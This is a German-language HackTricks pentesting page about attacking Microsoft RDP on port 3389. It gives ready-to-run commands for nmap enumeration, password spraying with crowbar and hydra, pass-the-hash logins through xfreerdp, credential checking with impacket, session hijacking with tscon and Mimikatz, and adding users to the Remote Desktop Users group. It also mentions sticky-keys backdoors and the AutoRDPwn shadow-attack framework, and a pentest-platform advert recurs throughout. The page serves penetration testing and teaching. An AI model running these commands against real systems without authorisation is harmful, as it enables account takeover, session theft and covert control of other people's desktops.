3389 - Pentesting RDP

Support HackTricks

Sofort verfügbarer Aufbau für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.

Grundinformationen

Entwickelt von Microsoft, ist das Remote Desktop Protocol (RDP) darauf ausgelegt, eine grafische Schnittstellenverbindung zwischen Computern über ein Netzwerk zu ermöglichen. Um eine solche Verbindung herzustellen, wird von dem Benutzer Software für den RDP-Client verwendet, während der entfernte Computer gleichzeitig Software für den RDP-Server betreiben muss. Diese Einrichtung ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers, wodurch seine Schnittstelle im Wesentlichen auf das lokale Gerät des Benutzers gebracht wird.

Standardport: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Aufzählung

Automatisch

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Es überprüft die verfügbaren Verschlüsselungen und DoS-Schwachstellen (ohne DoS für den Dienst zu verursachen) und erhält NTLM Windows-Informationen (Versionen).

Sei vorsichtig, du könntest Konten sperren

Password Spraying

Sei vorsichtig, du könntest Konten sperren

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Mit bekannten Anmeldeinformationen/Hash verbinden

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Überprüfen Sie bekannte Anmeldeinformationen gegen RDP-Dienste

rdp_check.py von impacket ermöglicht es Ihnen, zu überprüfen, ob einige Anmeldeinformationen für einen RDP-Dienst gültig sind:

rdp_check <domain>/<name>:<password>@<IP>

Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.

Angriffe

Sitzungsdiebstahl

Mit SYSTEM-Berechtigungen können Sie auf jede geöffnete RDP-Sitzung eines beliebigen Benutzers zugreifen, ohne das Passwort des Eigentümers zu kennen.

Geöffnete Sitzungen abrufen:

query user

Zugriff auf die ausgewählte Sitzung

tscon <ID> /dest:<SESSIONNAME>

Jetzt sind Sie in der ausgewählten RDP-Sitzung und Sie werden einen Benutzer nur mit Windows-Tools und -Funktionen impersonieren.

Wichtig: Wenn Sie auf aktive RDP-Sitzungen zugreifen, werden Sie den Benutzer, der sie verwendet hat, abmelden.

Sie könnten Passwörter durch das Dumpen des Prozesses erhalten, aber diese Methode ist viel schneller und ermöglicht es Ihnen, mit den virtuellen Desktops des Benutzers zu interagieren (Passwörter in Notepad, ohne auf der Festplatte gespeichert zu werden, andere RDP-Sitzungen, die auf anderen Maschinen geöffnet sind...)

Mimikatz

Sie könnten auch Mimikatz verwenden, um dies zu tun:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Durch die Kombination dieser Technik mit stickykeys oder utilman kannst du jederzeit auf eine administrative CMD und jede RDP-Sitzung zugreifen.

Du kannst RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden: https://github.com/linuz/Sticky-Keys-Slayer

RDP Prozessinjektion

Wenn sich jemand aus einer anderen Domäne oder mit besseren Berechtigungen über RDP an dem PC anmeldet, an dem du Admin bist, kannst du dein Beacon in seinen RDP-Sitzungsprozess injizieren und als er handeln:

RDP Sessions Abuse

Benutzer zur RDP-Gruppe hinzufügen

net localgroup "Remote Desktop Users" UserLoginName /add

Automatische Werkzeuge

AutoRDPwn ist ein Post-Exploitation-Framework, das in Powershell erstellt wurde und hauptsächlich dazu dient, den Shadow-Angriff auf Microsoft Windows-Computer zu automatisieren. Diese Schwachstelle (von Microsoft als Funktion aufgeführt) ermöglicht es einem entfernten Angreifer, den Desktop seines Opfers ohne dessen Zustimmung zu sehen und ihn sogar auf Anfrage zu steuern, indem er Werkzeuge verwendet, die nativ im Betriebssystem vorhanden sind.

  • Steuere Maus und Tastatur automatisiert über die Befehlszeile

  • Steuere die Zwischenablage automatisiert über die Befehlszeile

  • Erzeuge einen SOCKS-Proxy vom Client, der die Netzwerkkommunikation über RDP zum Ziel leitet

  • Führe beliebige SHELL- und PowerShell-Befehle auf dem Ziel aus, ohne Dateien hochzuladen

  • Lade Dateien zum/vom Ziel hoch und herunter, selbst wenn Dateiübertragungen auf dem Ziel deaktiviert sind

HackTricks Automatische Befehle

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.

Unterstützen Sie HackTricks

Last updated